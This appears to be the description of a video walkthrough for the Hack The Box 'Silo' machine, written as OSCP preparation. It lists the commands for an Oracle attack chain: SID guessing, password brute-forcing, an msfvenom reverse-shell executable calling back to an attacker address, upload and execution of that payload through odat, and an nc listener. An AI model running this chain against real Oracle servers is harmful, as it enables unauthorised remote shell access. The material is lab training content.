Hack The Box Silo Walkthrough without Metasploit | OSCP Preparation 2022

Hi Folks
This is the "Hack The Box Silo Walkthrough without Metasploit 2022" video. I am publishing walkthroughs on retired "Hack The Box" machines in preparation for the OSCP.
The full list of OSCP-like machines compiled by TJnull can be found below link
docs.google.co...
+++++++++++++++++++++++++++++++++++++++++++++++++++++
Commands:
1. To Enumerate the #oracle #sids
python3 odat.py sidguesser -s 10.10.10.82
or
hydra -L (wordlist of Oracle SIDs) -t (number of threads) -s (port number) (target ip address) oracle-sid
2. To #bruteforce username and password
python3 odat.py passwordguesser -s (target_ip) -p (target_port_number) -d (target_SID) --accounts-file (oracle_username_password_list)
3. Create #reverse_shell using #msfvenom
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.14 LPORT=1234 -f exe shell.exe
4. Upload #reverse_shell on Silo machine using odat.py
python3 odat.py utlfile -s 10.10.10.82 -p 1521 -U "scott" -P "tiger" -d XE --putFile /temp tt.exe tt.exe --sysdba
5. Start port listening on your local machine
nc -lnvp 1234
6. Execute #reverse_shell on Silo machine using odat.py
python3 odat.py externaltable -s 10.10.10.82 -p 1521 -U "scott" -P "tiger" -d XE --exec /temp tt.exe --sysdba
+++++++++++++++++++++++++++++++++++++++++++++++++++
What is a SID?
The SID (Service Identifier) is essentially the database name, depending on the installation you may have one or more default SIDs, or even a totally custom dba-defined SID.
What is oracle tns listener vulnerability?
This security alert addresses the security issue CVE-2012-1675, a vulnerability in the TNS listener which has been recently disclosed as a "TNS Listener Poison Attack" affecting the Oracle Database Server. This vulnerability may be remotely exploitable without authentication, i.e. it may be exploited over a network without the need for a username and password. A remote user can exploit this vulnerability to impact the confidentiality, integrity, and availability of systems that do not have recommended solutions applied.
++++++++++++++++++++++++++++++++++++++++
Thanks for watching my video.
Put your queries and suggestions in the comment box.
Like
Share
Subscribe

[@snooze_4pm]

Keep the hard work remember empire’s doesn’t get build in one day if TH-cam recommended you to me that’s mean one day you’ll be famous brother stay safe and help others ❤

[@KamaljeetKumarSharma]

Thanks a lot for your generous words.